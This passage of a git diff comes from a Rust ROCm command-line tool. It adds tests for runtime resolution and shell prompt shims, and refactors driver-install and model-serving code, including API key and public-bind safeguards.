active_runtime_key: Some(manifest.runtime_key.clone()), + ..RocmCliConfig::default() + }; + + let engine_root = + env_root_for_engine_install(&paths, &config, "lemonade", "lemonade-embeddable")?; + + assert_eq!(engine_root, Some(manifest.install_root.join("engines"))); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn engine_runtime_selection_rejects_ambiguous_default_runtime_id() -> Result<()> { + let (root, paths) = test_paths("engine-runtime-ambiguous-default"); + write_test_pip_runtime( + &paths, + "release-pip-gfx120x-all", + "therock-release:gfx120X-all", + "7.13.0", + 1, + )?; + write_test_pip_runtime( + &paths, + "vllm-source-pip-gfx120x-all", + "therock-release:gfx120X-all", + "7.13.0", + 2, + )?; + let config = RocmCliConfig { + default_runtime_id: Some("therock-release:gfx120X-all".to_owned()), + ..RocmCliConfig::default() + }; + + let error = resolve_engine_install_runtime_id(&paths, &config, "vllm", None) + .unwrap_err() + .to_string(); + assert!(error.contains("matches multiple installed runtimes")); + assert!(error.contains("rocm runtimes activate ")); + + let selection = resolve_engine_selection(&config, "vllm", None, None); + let error = validate_engine_selection_runtime(&paths, selection) + .unwrap_err() + .to_string(); + assert!(error.contains("matches multiple installed runtimes")); + + let selection = + resolve_engine_selection(&config, "vllm", Some("release-pip-gfx120x-all"), None); + let selection = validate_engine_selection_runtime(&paths, selection)?; + assert_eq!( + selection.runtime_id.as_deref(), + Some("release-pip-gfx120x-all") + ); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + /// The interpreter names its runtime where the shared `runtime_id` cannot. + /// + /// This is the cross-wiring that settled the active runtime's torch into an + /// older runtime's environment: the engine's env id drops the version, so + /// the environment belongs to 7.13.0 while the caller's selector says only + /// "release, gfx94X-dcgpu". Resolving by install root has to pick 7.13.0. + #[test] + fn the_runtime_is_resolved_by_its_interpreter_not_the_shared_runtime_id() { + let manifests = side_by_side_runtimes(); + + assert_eq!( + runtime_manifest_for_selector(&manifests, "therock-release:gfx94X-dcgpu") + .map(|manifest| manifest.runtime_key.as_str()), + None, + "the shared runtime_id names two runtimes, so a selector cannot resolve it" + ); + assert_eq!( + runtime_key_owning_python( + &manifests, + Path::new("/runtimes/release-wheel-gfx94x-dcgpu-7-13-0/bin/python3"), + ), + Some("release-wheel-gfx94x-dcgpu-7-13-0"), + "the interpreter's install root names the runtime being settled" + ); + } + + /// An interpreter outside every install root leaves the caller's selector alone. + /// + /// External and self-managed environments live outside the registry, and + /// inventing an owner for them would settle a runtime nobody asked about. + #[test] + fn an_interpreter_outside_every_install_root_owns_nothing() { + assert_eq!( + runtime_key_owning_python( + &side_by_side_runtimes(), + Path::new("/opt/somewhere-else/bin/python3"), + ), + None + ); + } + + /// A prefix match alone is ambiguous once roots nest, so the longest wins. + #[test] + fn the_longest_containing_install_root_owns_the_interpreter() { + let mut outer = test_runtime_manifest_for_update( + "outer", + "therock-release:gfx94X-dcgpu", + "gfx94X-dcgpu", + "7.13.0", + ); + outer.install_root = PathBuf::from("/runtimes"); + let mut inner = test_runtime_manifest_for_update( + "inner", + "therock-release:gfx94X-dcgpu", + "gfx94X-dcgpu", + "7.14.0", + ); + inner.install_root = PathBuf::from("/runtimes/release-wheel-gfx94x-dcgpu-7-14-0"); + + assert_eq!( + runtime_key_owning_python( + &[outer, inner], + Path::new("/runtimes/release-wheel-gfx94x-dcgpu-7-14-0/bin/python3"), + ), + Some("inner") + ); + } + + #[test] + fn bash_shim_sources_the_user_rc_and_prefixes_the_prompt() { + let dir = PathBuf::from("/tmp/shim"); + let shim = engine_shell_prompt_shim("/bin/bash", "(rocm:vllm) ", &dir, None) + .expect("bash must be shimmable"); + + // `--rcfile` is what makes bash run our file at all; `-i` keeps it + // interactive even if stdin is not a terminal in some caller. + assert_eq!( + shim.args, + vec![ + "--rcfile".to_owned(), + dir.join("engine-shell.bash").display().to_string(), + "-i".to_owned(), + ] + ); + assert!(shim.envs.is_empty(), "bash needs no extra env"); + + let (path, contents) = shim.files.first().expect("one rc file"); + assert_eq!(path, &dir.join("engine-shell.bash")); + assert!( + contents.contains("$HOME/.bashrc"), + "must restore the user's own rc:\n{contents}" + ); + // bash sources the system file itself even with --rcfile, so sourcing it + // here too would apply it twice. + assert!( + !contents.contains("/etc/bash.bashrc"), + "must not re-source the system rc:\n{contents}" + ); + assert!( + contents.contains("PS1='(rocm:vllm) '\"$PS1\""), + "must prefix rather than replace the prompt:\n{contents}" + ); + } + + #[test] + fn zsh_shim_restores_both_startup_files() { + let dir = PathBuf::from("/tmp/shim"); + let shim = engine_shell_prompt_shim("/usr/bin/zsh", "(rocm:vllm) ", &dir, None) + .expect("zsh must be shimmable"); + + assert!(shim.args.is_empty(), "zsh is redirected via env, not argv"); + assert!( + shim.envs + .contains(&("ZDOTDIR".to_owned(), dir.display().to_string())), + "zsh needs ZDOTDIR pointed at the shim dir: {:?}", + shim.envs + ); + + let names: Vec<_> = shim + .files + .iter() + .map(|(path, _)| path.file_name().unwrap().to_str().unwrap()) + .collect(); + // Redirecting ZDOTDIR hides BOTH of the user's files. Missing `.zshenv` + // would strip their exports — worse than the unmarked prompt this fixes. + assert!( + names.contains(&".zshenv") && names.contains(&".zshrc"), + "both startup files must be restored, got {names:?}" + ); + for (path, contents) in &shim.files { + assert!( + contents.contains("ROCM_CLI_ORIG_ZDOTDIR:-$HOME"), + "{} must fall back to $HOME:\n{contents}", + path.display() + ); + } + let zshrc = shim + .files + .iter() + .find(|(path, _)| path.ends_with(".zshrc")) + .map(|(_, contents)| contents) + .expect(".zshrc present"); + assert!( + zshrc.contains("PROMPT='(rocm:vllm) '$PROMPT"), + "must prefix rather than replace the prompt:\n{zshrc}" + ); + } + + #[test] + fn zsh_shim_passes_through_an_existing_zdotdir() { + let dir = PathBuf::from("/tmp/shim"); + let shim = engine_shell_prompt_shim("zsh", "(rocm:vllm) ", &dir, Some("/home/u/.zsh")) + .expect("zsh must be shimmable"); + assert!( + shim.envs.contains(&( + "ROCM_CLI_ORIG_ZDOTDIR".to_owned(), + "/home/u/.zsh".to_owned() + )), + "a caller's ZDOTDIR must survive so the shim can find their files: {:?}", + shim.envs + ); + + // A blank value is not a location; the shim's $HOME fallback must win. + let blank = engine_shell_prompt_shim("zsh", "(rocm:vllm) ", &dir, Some(" ")) + .expect("zsh must be shimmable"); + assert!( + !blank + .envs + .iter() + .any(|(key, _)| key == "ROCM_CLI_ORIG_ZDOTDIR"), + "a blank ZDOTDIR must not be passed through: {:?}", + blank.envs + ); + } + + #[test] + fn shells_without_a_safe_shim_are_left_alone() { + // Guessing at an unknown shell's startup is worse than the banner: these + // must opt out rather than have a marker forced on them. + let dir = PathBuf::from("/tmp/shim"); + for shell in [ + "/bin/sh", + "/bin/dash", + "/usr/bin/fish", + "cmd", + "powershell", + "pwsh", + "", + ] { + assert!( + engine_shell_prompt_shim(shell, "(rocm:vllm) ", &dir, None).is_none(), + "{shell} should not be shimmed" + ); + } + } + + #[test] + fn shim_matches_on_the_shell_name_not_the_full_path() { + let dir = PathBuf::from("/tmp/shim"); + for shell in ["bash", "/bin/bash", "/usr/local/bin/bash"] { + assert!( + engine_shell_prompt_shim(shell, "(rocm:x) ", &dir, None).is_some(), + "{shell} should resolve to bash" + ); + } + } +} diff --git a/apps/rocm/src/main.rs b/apps/rocm/src/main.rs index d486ee8bc..5447715ee 100644 --- a/apps/rocm/src/main.rs +++ b/apps/rocm/src/main.rs @@ -10,11 +10,14 @@ mod cli_report; mod comfyui; mod dash; mod dash_seam; +mod driver_install; mod endpoint_keys; +mod engines_cmd; mod logging; mod provider_keys; mod providers; mod remote; +mod serve_cmd; mod serve_summary; mod storage; mod therock; @@ -24,6 +27,15 @@ mod uninstall; // Dispatch call sites stay byte-identical via these re-imports (upstream-sync // mergeability); only the fn definitions moved out of main.rs. use crate::automations::automations; +use crate::driver_install::{ + empty_as_unknown, install_driver, parse_os_release_field, read_os_release, + reconcile_driver_install, run_argv_with_stdin, +}; +use crate::engines_cmd::{ + engine_manages_own_runtime, engines, env_root_for_engine_install, env_root_for_service, + runtime_key_for_python, runtime_manifest_for_selector, +}; +use crate::serve_cmd::{ServeArgs, serve}; use crate::uninstall::uninstall; use anyhow::{Context, Result, bail}; @@ -40,24 +52,21 @@ use rocm_core::{ PERMISSIONS_MODE_ASK, PERMISSIONS_MODE_FULL_ACCESS, RocmCliConfig, TELEMETRY_MODE_LOCAL, TELEMETRY_MODE_OFF, WatcherMode, append_audit_event, builtin_model_recipes, builtin_watcher, builtin_watchers, connect_tcp_stream, daemon_binary_path, default_engine_for_platform, - default_interactive_shell_program, detect_host_gfx_target, detect_host_gpu_summary, - engine_binary_path, engine_plugin_dirs, format_host_port, format_http_base_url, - generate_service_id, interactive_terminal, load_model_recipe_registry, + detect_host_gfx_target, engine_binary_path, engine_plugin_dirs, format_host_port, + format_http_base_url, interactive_terminal, load_model_recipe_registry, load_recent_audit_events, load_recent_automation_events, load_recent_automation_proposals, managed_pip_cache_dir, managed_service_endpoint_readiness, model_artifact_cache_status, model_catalog_platforms, model_recipe_featured, model_recipe_target_platform_label, normalize_therock_family, platform_matches_gfx_family, - preferred_serve_engine_for_host_gpu_summary, prepend_runtime_path, process_is_running, - read_http_response_bounded, resolve_builtin_model_recipe, resolve_model_recipe, - runtime_install_root_is_protected, runtime_path_is_same_or_inside, - runtime_python_activation_hint, runtime_python_env_bin_dir, runtime_python_executable_in_env, - shell_command_for_host, uv_cache_source, write_all_tcp_stream, + preferred_serve_engine_for_host_gpu_summary, process_is_running, read_http_response_bounded, + resolve_builtin_model_recipe, runtime_install_root_is_protected, + runtime_path_is_same_or_inside, runtime_python_executable_in_env, uv_cache_source, + write_all_tcp_stream, }; use rocm_engine_protocol::{ DEFAULT_LOG_TAIL_LINES, DetectRequest, DetectResponse, DevicePolicy, - ENGINE_RECIPE_CONTRACT_VERSION, EngineMethod, EnginePluginDescriptor, EngineRecipeEndpointHint, - EngineRecipeHint, EngineRecipeUnsupportedCombinationHint, EngineRequestEnvelope, - EngineResponseEnvelope, GpuSelection, InstallRequest, InstallResponse, ResolveModelRequest, + ENGINE_RECIPE_CONTRACT_VERSION, EngineMethod, EnginePluginDescriptor, EngineRecipeHint, + EngineRequestEnvelope, EngineResponseEnvelope, GpuSelection, InstallRequest, InstallResponse, ResolveModelResponse, StopRequest, StopResponse, }; use serde::de::DeserializeOwned; @@ -3597,6717 +3606,3494 @@ fn install(target: InstallTarget) -> Result<()> { Ok(()) } -fn install_driver( - paths: &AppPaths, - dkms: bool, - yes: bool, - dry_run: bool, -) -> std::result::Result { - let examine = - ExamineSummary::gather().map_err(|source| DriverInstallError::new(source, false))?; - let os_release = read_os_release().unwrap_or_default(); - // The only place the real privilege level is read; every builder below takes - // it as a parameter so both branches stay testable on any host. - let plan = - build_driver_install_plan(&examine, &os_release, dkms, PrivilegeEscalation::detect()); - let mut output = render_driver_install_plan(&plan, yes, dry_run); - if !yes || dry_run || !plan.supported || !plan.mutating { - return Ok(DriverInstallResult { - output, - executed: false, - }); - } - - let boot_id = current_boot_id(); - let mut state = DriverInstallState { - approved_at_unix_ms: rocm_core::unix_time_millis(), - executed_at_unix_ms: None, - pre_driver: examine.driver, - post_driver: None, - boot_id_at_execution: boot_id, - reboot_required: plan.reboot_required, - reboot_observed: false, - commands: plan.execution_commands(), - reconciled_at_unix_ms: None, - reconciliation: None, - }; - write_driver_install_state(paths, &state) - .map_err(|source| DriverInstallError::new(source, false))?; - - execute_driver_install_plan( - &plan, - &mut state, - run_driver_shell_command, - |state| write_driver_install_state(paths, state), - || ExamineSummary::gather().map(|summary| summary.driver), - ) - .map_err(|source| DriverInstallError::new(source, true))?; - - let report = cli_report::ActionReport::new("driver install completed") - .detail("reboot_required", plan.reboot_required) - .detail("state", driver_install_state_path(paths).display()); - output.push_str(&report.render()); - Ok(DriverInstallResult { - output, - executed: true, - }) +#[derive(Debug, Clone, Eq, PartialEq)] +struct ServeEngineSelection { + engine: String, + source: &'static str, } -fn execute_driver_install_plan( - plan: &DriverInstallPlan, - state: &mut DriverInstallState, - mut run: Run, - mut persist: Persist, - gather_post_driver: Gather, -) -> Result<()> -where - Run: FnMut(&str) -> Result<()>, - Persist: FnMut(&DriverInstallState) -> Result<()>, - Gather: FnOnce() -> Result, -{ - for command in &plan.commands { - if plan.reboot_required && command.phase == DriverCommandPhase::Verify { - continue; +/// GPU/device warnings folded into the interactive deployment summary. Mirrors the +/// inline warnings printed in the plain serve plan, in the same order. +#[allow(clippy::too_many_arguments)] +fn collect_serve_notes( + cpu_only: bool, + gpu_selection: &GpuSelection, + rocr_visible_devices_set: bool, + gpu_indices: &[u32], + gpu_vram: Option<&[GpuVramUsage]>, + engine_flag_note: Option<&str>, + host_gpu_summary: Option<&rocm_core::HostGpuSummary>, + engine_is_vllm: bool, +) -> Vec { + let mut notes = Vec::new(); + // An engine-scoped flag the selected engine cannot honor must be reported here + // too: the summary path is what an interactive `rocm serve` actually prints, so + // a note only emitted on the plan path would never reach that user. + if let Some(note) = engine_flag_note { + notes.push(note.to_owned()); + } + if cpu_only { + if matches!(gpu_selection, GpuSelection::Index(_)) { + notes.push( + "--gpu was ignored because --device cpu_only runs the model on CPU".to_owned(), + ); + } + } else { + if rocr_visible_devices_set { + notes.push( + "ROCR_VISIBLE_DEVICES is set; the selected amd-smi ordinal is exported via \ + HIP_VISIBLE_DEVICES, which the runtime interprets relative to the ROCR-visible \ + set, so the device the engine binds may differ. Verify the selected GPU or unset \ + ROCR_VISIBLE_DEVICES." + .to_owned(), + ); + } + if let Some(warning) = serve_gpu_low_memory_warning(gpu_indices, gpu_vram, host_gpu_summary) + { + notes.push(warning); + // vLLM's total-VRAM reservation is what turns a busy card into an OOM; + // pair the generic warning with the concrete knob that avoids it. + if engine_is_vllm { + notes.push(rocm_core::VLLM_GPU_MEMORY_UTILIZATION_HINT.to_owned()); + } } - run(&command.command) - .with_context(|| format!("driver command failed: {}", command.command))?; } - - state.executed_at_unix_ms = Some(rocm_core::unix_time_millis()); - state.reboot_required = plan.reboot_required; - state.reboot_observed = driver_reboot_observed(state.boot_id_at_execution.as_deref()); - persist(state)?; - - let post_driver = gather_post_driver()?; - state.post_driver = Some(post_driver); - persist(state)?; - Ok(()) + notes } -fn reconcile_driver_install(paths: &AppPaths) -> Result { - let Some(mut state) = read_driver_install_state(paths)? else { - let mut output = String::new(); - let _ = writeln!(output, "driver install reconciliation"); - let _ = writeln!( - output, - " state: {}", - driver_install_state_path(paths).display() - ); - let _ = writeln!(output, " approval: not required"); - let _ = writeln!(output, " privileged_commands: "); - let _ = writeln!(output, " status: no prior driver execution state found"); - let _ = writeln!( - output, - " action: run `rocm install driver --dkms` to review the native driver plan" +fn validate_bind_host(host: &str, allow_public_bind: bool) -> Result<()> { + if !is_loopback_host(host) && !allow_public_bind { + bail!( + "`rocm serve --host {host}` is not loopback; pass `--allow-public-bind` before binding a non-local interface" ); - return Ok(output); - }; - let examine = ExamineSummary::gather()?; - let checks = passive_driver_checks(); - reconcile_driver_install_state(paths, &mut state, examine.driver, current_boot_id(), checks) + } + Ok(()) } -fn reconcile_driver_install_state( - paths: &AppPaths, - state: &mut DriverInstallState, - driver: rocm_core::DriverSummary, - current_boot_id: Option, - checks: Vec, -) -> Result { - let reboot_observed = state - .boot_id_at_execution - .as_deref() - .zip(current_boot_id.as_deref()) - .is_some_and(|(executed, current)| executed != current); - state.reboot_observed = reboot_observed; - state.post_driver = Some(driver.clone()); - let at_unix_ms = rocm_core::unix_time_millis(); - state.reconciled_at_unix_ms = Some(at_unix_ms); - let check_summary = summarize_driver_passive_checks(&checks); - state.reconciliation = Some(DriverReconciliationState { - at_unix_ms, - driver, - reboot_observed, - check_summary, - checks, - }); - write_driver_install_state(paths, state)?; - Ok(render_driver_reconciliation(paths, state)) +/// Inverse of [`rocm_engine_protocol::is_public_bind_host`], which owns the +/// policy so `rocmd` classifies a recorded `host` identically when it respawns +/// the service. +fn is_loopback_host(host: &str) -> bool { + !rocm_engine_protocol::is_public_bind_host(host) } -fn render_driver_reconciliation(paths: &AppPaths, state: &DriverInstallState) -> String { - let mut output = String::new(); - let _ = writeln!(output, "driver install reconciliation"); - let _ = writeln!( - output, - " state: {}", - driver_install_state_path(paths).display() - ); - let _ = writeln!(output, " approval: not required"); - let _ = writeln!(output, " privileged_commands: "); - let _ = writeln!( - output, - " approved_at_unix_ms: {}", - state.approved_at_unix_ms - ); - let _ = writeln!( - output, - " executed_at_unix_ms: {}", - state - .executed_at_unix_ms - .map_or_else(|| "".to_owned(), |value| value.to_string()) - ); - let _ = writeln!(output, " reboot_required: {}", state.reboot_required); - let _ = writeln!(output, " reboot_observed: {}", state.reboot_observed); - if let Some(reconciliation) = &state.reconciliation { - let _ = writeln!( - output, - " reconciled_at_unix_ms: {}", - reconciliation.at_unix_ms - ); - let _ = writeln!(output, " driver_status: {}", reconciliation.driver.status); - let _ = writeln!( - output, - " driver_detail: {}", - reconciliation - .driver - .detail - .as_deref() - .unwrap_or("") - ); - let _ = writeln!( - output, - " passive_check_summary: total={} present={} missing={}", - reconciliation.check_summary.total, - reconciliation.check_summary.present, - reconciliation.check_summary.missing - ); - if reconciliation.checks.is_empty() { - let _ = writeln!(output, " passive_checks: "); - } else { - let _ = writeln!(output, " passive_checks:"); - for check in &reconciliation.checks { - let _ = writeln!( - output, - " {}: {} ({})", - check.name, check.status, check.detail +/// Resolve the API key that will guard this endpoint, applying the +/// loopback-vs-public policy for `rocm serve`. +/// +/// - **Loopback host** → `None`: local serving stays credential-free (the +/// unchanged default). Any key supplied for a loopback bind is ignored and +/// nothing is persisted — loopback needs no auth. +/// - **Public host** → `Some(key)`: use the user-supplied key when present, +/// otherwise generate a strong random one so a public endpoint can never come +/// up anonymous. An empty/whitespace supplied key is rejected rather than +/// silently treated as "no auth". +/// - **`required`** → treat a loopback bind as public for this purpose. +/// +/// That last case exists because "loopback" is a statement about the bind +/// address, not about who can reach the port. Publishing the port onto a +/// tailnet, proxying it, or mapping it out of a container all leave the bind +/// loopback while widening the audience — and the policy above would then hand +/// out an unauthenticated endpoint. Whoever widens the reach is responsible for +/// asking for the credential, so this is an explicit flag rather than a guess. +fn resolve_endpoint_auth( + host: &str, + supplied: Option<&str>, + required: bool, +) -> Result> { + if is_loopback_host(host) && !required { + return Ok(None); + } + match supplied { + Some(raw) => { + let trimmed = raw.trim(); + if trimmed.is_empty() { + bail!( + "`rocm serve --api-key` (or ROCM_SERVE_API_KEY) was empty; a public \ + endpoint must be protected by a non-empty API key" ); } + // The key is later interpolated verbatim into raw `Authorization: + // Bearer {key}\r\n` header lines; reject a control character (e.g. an + // embedded CR/LF) here so a crafted key cannot inject extra headers. + if rocm_core::endpoint_api_key_has_forbidden_chars(trimmed) { + bail!( + "`rocm serve --api-key` (or ROCM_SERVE_API_KEY) contained a control \ + character such as a carriage return or newline; an endpoint API key \ + must be a single line of printable characters" + ); + } + Ok(Some(trimmed.to_owned())) } - if state.reboot_required && !state.reboot_observed { - let _ = writeln!( - output, - " action: reboot is still required before post-install checks are meaningful" - ); - } else if reconciliation - .checks - .iter() - .any(|check| check.status != "present") - { - let _ = writeln!( - output, - " action: reconciliation recorded missing passive checks; run `rocm examine` and inspect driver logs" - ); - } else { - let _ = writeln!( - output, - " action: reconciliation complete; run `rocm examine` for the full host summary" - ); - } + None => Ok(Some(rocm_core::generate_endpoint_api_key())), } - output } -fn summarize_driver_passive_checks(checks: &[DriverPassiveCheck]) -> DriverPassiveCheckSummary { - let total = checks.len(); - let present = checks - .iter() - .filter(|check| check.status == "present") - .count(); - DriverPassiveCheckSummary { - total, - present, - missing: total.saturating_sub(present), +/// When an equivalent managed service is already running, the endpoint key +/// serve() freshly stored for this attempt is unused — drop it so it is not +/// orphaned in storage. The already-running service keeps its own key. +/// Best-effort and idempotent; a loopback attempt (`freshly_stored == None`) +/// is a no-op. +fn drop_orphaned_endpoint_key_on_already_running( + paths: &AppPaths, + service_id: &str, + freshly_stored: Option<&str>, +) { + if freshly_stored.is_some() { + endpoint_keys::clear_endpoint_api_key(paths, service_id); } } -fn passive_driver_checks() -> Vec { - if !rocm_core::runtime_is_linux() { - return Vec::new(); +/// Reject engine/platform combinations that cannot enforce a public endpoint's +/// API key, so a public bind fails closed instead of coming up unauthenticated. +/// +/// The one such case today: Windows managed Lemonade. Its server reads the +/// value-typed `LEMONADE_API_KEY` env var, but the Windows detached-spawn +/// primitive only carries path-valued env overrides, so the key never reaches it. +/// vLLM enforces auth on every platform (`VLLM_API_KEY`), and loopback binds +/// (`public_bind == false`) need no key — both pass. `is_windows` is a parameter +/// so both branches are unit-testable off-Windows. +fn ensure_public_bind_engine_supported( + engine: &str, + public_bind: bool, + is_windows: bool, +) -> Result<()> { + if public_bind && is_windows && engine == "lemonade" { + bail!( + "public binding with the lemonade engine is not supported on Windows: the endpoint \ + API key cannot be enforced there. Use `--engine vllm`, or bind a loopback host \ + (the default 127.0.0.1)." + ); } - vec![ - passive_path_check("/sys/module/amdgpu", "amdgpu kernel module path"), - passive_path_check("/dev/kfd", "KFD device node"), - passive_render_node_check(), - ] + Ok(()) } -fn passive_path_check(path: &str, detail: &str) -> DriverPassiveCheck { - DriverPassiveCheck { - name: path.to_owned(), - status: if Path::new(path).exists() { - "present" - } else { - "missing" - } - .to_owned(), - detail: detail.to_owned(), +/// Refuse to (re)spawn a managed service recorded on a public host when its +/// endpoint API key is gone, so a respawn cannot reopen the endpoint anonymously. +/// +/// `serve()` applies the loopback-vs-public policy once, via +/// [`resolve_endpoint_auth`], and persists the resulting key. Every later spawn +/// — `rocm services restart`, and `rocmd`'s recovery supervisor — reads that key +/// file back and would otherwise treat "no key file" as "no auth wanted", +/// silently downgrading a protected public endpoint to an open one. The real +/// invariant is a property of the *host*, not of the file: a non-loopback bind +/// must always be authenticated. +/// +/// The gap is reachable through ordinary commands, because a stop deletes the +/// key file and `rocm services restart` accepts a stopped service id (its help +/// points at `rocm services list --all`). +/// +/// `key_present` is a plain `bool` rather than a path so both branches are +/// unit-testable without touching the filesystem, mirroring `is_windows` in +/// [`ensure_public_bind_engine_supported`]. +fn ensure_public_service_has_endpoint_key( + host: &str, + key_present: bool, + requires_api_key: bool, +) -> Result<()> { + // Two ways a service can need a key. A public bind is the obvious one. The + // other is a service that asked for auth on a loopback bind, because + // something outside this process republishes the port — a tailnet publish + // survives a reboot, let alone a restart, so "loopback" stops meaning + // "only this machine" and the bind address can no longer be trusted to + // answer the question on its own. + if requires_api_key && !key_present { + bail!( + "managed service was launched with `--require-api-key` but has no endpoint API key, \ + so restarting it would reopen it without authentication. Something outside this \ + machine may still be publishing its port. The key is dropped when a service stops \ + and cannot be recovered. Launch it again with \ + `rocm serve --require-api-key` (add `--api-key `, or set ROCM_SERVE_API_KEY, \ + to choose the key instead of generating one)." + ); } -} - -fn passive_render_node_check() -> DriverPassiveCheck { - let present = fs::read_dir("/dev/dri") - .ok() - .into_iter() - .flat_map(|entries| entries.filter_map(std::result::Result::ok)) - .any(|entry| { - entry - .file_name() - .to_str() - .is_some_and(|name| name.starts_with("renderD")) - }); - DriverPassiveCheck { - name: "/dev/dri/renderD*".to_owned(), - status: if present { "present" } else { "missing" }.to_owned(), - detail: "DRM render node".to_owned(), + if rocm_engine_protocol::is_public_bind_host(host) && !key_present { + bail!( + "managed service is bound to the public host `{host}` but has no endpoint API key, \ + so restarting it would reopen it without authentication. The key is dropped when a \ + service stops and cannot be recovered. Launch it again with \ + `rocm serve --host {host} --allow-public-bind` (add `--api-key `, or set \ + ROCM_SERVE_API_KEY, to choose the key instead of generating one)." + ); } + Ok(()) } -struct DriverInstallResult { - output: String, - executed: bool, -} - -struct DriverInstallError { - source: anyhow::Error, - executed: bool, -} - -impl DriverInstallError { - const fn new(source: anyhow::Error, executed: bool) -> Self { - Self { source, executed } +/// Write `contents` to `path` with owner-only (0600) permissions on Unix so a +/// secret is not world-readable. On non-Unix, default permissions apply. +pub(crate) fn write_private_file_0600(path: &Path, contents: &[u8]) -> Result<()> { + if let Some(parent) = path.parent() { + fs::create_dir_all(parent)?; } -} - -#[derive(Debug, Clone)] -struct DriverInstallPlan { - supported: bool, - mutating: bool, - policy: String, - os_id: String, - version_id: String, - codename: String, - repo_version: String, - reason: String, - preflight_checks: Vec, - commands: Vec, - checks: Vec, - /// Whether the host must reboot before the verification steps mean anything. - /// - /// True for the kernel-module paths: an amdgpu DKMS build is not live until - /// the machine comes back up. False on WSL2, where nothing kernel-side - /// changes — ROCDXG is a userspace library and `ldconfig` publishes it - /// immediately, so telling the user to reboot would be wrong. - reboot_required: bool, -} - -impl DriverInstallPlan { - fn execution_commands(&self) -> Vec { - self.commands - .iter() - .filter(|command| { - matches!( - command.phase, - DriverCommandPhase::Prepare | DriverCommandPhase::Execute - ) - }) - .map(|command| command.command.clone()) - .collect() + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + let mut file = fs::OpenOptions::new() + .write(true) + .create(true) + .truncate(true) + .mode(0o600) + .open(path)?; + std::io::Write::write_all(&mut file, contents)?; } + #[cfg(not(unix))] + { + fs::write(path, contents)?; + } + Ok(()) } -#[derive(Debug, Clone, Copy, Eq, PartialEq)] -enum DriverCommandPhase { - Prepare, - Execute, - Verify, -} - -#[derive(Debug, Clone)] -struct DriverPlanCommand { - phase: DriverCommandPhase, - command: String, +#[cfg(not(windows))] +fn detach_background_command(command: &mut ProcessCommand) { + rocm_core::detach_command_session(command); } -/// How a generated driver command is expected to reach root. -/// -/// The driver plan is a list of shell lines, so escalation is a text prefix -/// rather than an argv decision (contrast `openmpi::InstallCommand`, whose -/// commands are argv vectors and can prepend `sudo` structurally). Prefixing -/// unconditionally is what made `install driver` unusable on the hosts it is -/// most needed on: containers and minimal cloud images run as uid 0 with no -/// `sudo` binary, so every command died with `sudo: not found` before any -/// driver work happened. -/// -/// This is resolved when the plan is BUILT, not when it runs, so that the plan -/// `--dry-run` prints, the plan the approval prompt shows, and the commands -/// persisted into `state.json` are all the commands that actually execute. -#[derive(Debug, Clone, Copy, Eq, PartialEq)] -enum PrivilegeEscalation { - /// Not root: privileged commands need a `sudo` prefix. - Sudo, - /// Already uid 0: `sudo` is unnecessary, and may not even be installed. - AlreadyRoot, -} - -impl PrivilegeEscalation { - /// Read the current process's privilege level. - /// - /// Only ever called on the production path; every plan builder takes the - /// escalation as a parameter so both branches are testable on any host. - fn detect() -> Self { - if rocm_core::openmpi::running_as_root() { - Self::AlreadyRoot - } else { - Self::Sudo - } +#[cfg(not(windows))] +fn attach_background_stdio(command: &mut ProcessCommand, log_path: Option<&Path>) -> Result<()> { + if let Some(log_path) = log_path { + let log = fs::OpenOptions::new() + .create(true) + .append(true) + .open(log_path) + .with_context(|| format!("failed to open {}", log_path.display()))?; + command + .stdout(Stdio::from(log.try_clone()?)) + .stderr(Stdio::from(log)); + } else { + command.stdout(Stdio::null()).stderr(Stdio::null()); } + Ok(()) +} - /// The prefix to place before a command that must run as root — `"sudo "`, - /// or nothing at all when the process already is root. Includes the - /// trailing space so it composes directly into a command string. - const fn prefix(self) -> &'static str { - match self { - Self::Sudo => "sudo ", - Self::AlreadyRoot => "", +#[cfg(not(windows))] +fn managed_engine_startup_failure_detail(status: ExitStatus, log_path: &Path) -> String { + let mut recent_lines = read_optional_tail_lines(log_path, 80, "service log"); + if recent_lines.is_empty() { + for _ in 0..5 { + thread::sleep(Duration::from_millis(120)); + recent_lines = read_optional_tail_lines(log_path, 80, "service log"); + if !recent_lines.is_empty() { + break; + } } } - - /// Whether a plan built under this escalation depends on `sudo` being - /// installed. Drives the preflight list, so it does not claim a - /// precondition the plan is not relying on. - const fn needs_sudo_binary(self) -> bool { - matches!(self, Self::Sudo) + if recent_lines.is_empty() { + return format!( + "managed engine exited immediately with status {status}; inspect {}", + log_path.display() + ); } + format!( + "managed engine exited immediately with status {status}; inspect {}\n\nrecent startup log output:\n{}", + log_path.display(), + recent_lines.join("\n") + ) } - -#[derive(Debug, Clone, Serialize, Deserialize)] -struct DriverInstallState { - approved_at_unix_ms: u128, - executed_at_unix_ms: Option, - pre_driver: rocm_core::DriverSummary, - post_driver: Option, - boot_id_at_execution: Option, - reboot_required: bool, - reboot_observed: bool, - commands: Vec, - #[serde(default)] - reconciled_at_unix_ms: Option, - #[serde(default)] - reconciliation: Option, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -struct DriverReconciliationState { - at_unix_ms: u128, - driver: rocm_core::DriverSummary, - reboot_observed: bool, - #[serde(default)] - check_summary: DriverPassiveCheckSummary, - checks: Vec, -} - -#[derive(Debug, Clone, Serialize, Deserialize, Default)] -struct DriverPassiveCheckSummary { - total: usize, - present: usize, - missing: usize, +#[cfg(not(windows))] +fn managed_service_process_command(program: &Path, args: &[String]) -> ProcessCommand { + let mut command = ProcessCommand::new(program); + command.args(args); + command } -#[derive(Debug, Clone, Serialize, Deserialize)] -struct DriverPassiveCheck { - name: String, +/// Engine-neutral result of a managed launch. Returned rather than printed so the +/// caller can render it either as the rich deployment summary (interactive TTY) or +/// as the plain line-by-line form (piped output, chat assistant), from one code path. +struct ManagedLaunchReport { + service_id: String, + /// `http://host:port/v1`. + endpoint_url: String, + /// `"ready"` (inference confirmed), `"running"` (model listed but not serving + /// yet), `"starting"` (endpoint not answering), or the existing service's + /// status when nothing was spawned. status: String, - detail: String, + /// True when an equivalent service was already live and nothing was spawned. + already_running: bool, + child_pid: Option, + log_path: Option, + manifest_path: Option, } -/// Release of ROCDXG installed on WSL2, overridable for trying another build. -/// -/// Resolved once at plan-build time via [`resolve_shell_default_template`], the -/// same way `ROCM_CLI_AMDGPU_VERSION` is handled for the bare-metal repository -/// pin. The concrete value is baked into the archive name, the release URL and -/// the `repo_version:` line, so the plan 